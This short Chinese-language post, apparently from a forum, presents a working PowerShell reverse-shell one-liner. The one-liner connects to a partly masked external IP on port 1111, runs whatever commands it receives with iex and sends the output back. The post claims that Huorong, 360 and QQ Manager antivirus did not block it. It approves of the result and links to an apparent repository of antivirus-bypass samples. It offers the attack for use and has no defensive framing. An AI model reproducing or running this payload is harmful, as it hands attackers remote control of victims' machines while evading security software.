经过测试，火绒，360，qq管家都没有拦截

    1. powershell -c "$client = New-Object Net.Sockets.TCPClient('81.x.x.x',1111);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

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    真好啊

    https://github.com/tihanyin/PSSW100AVB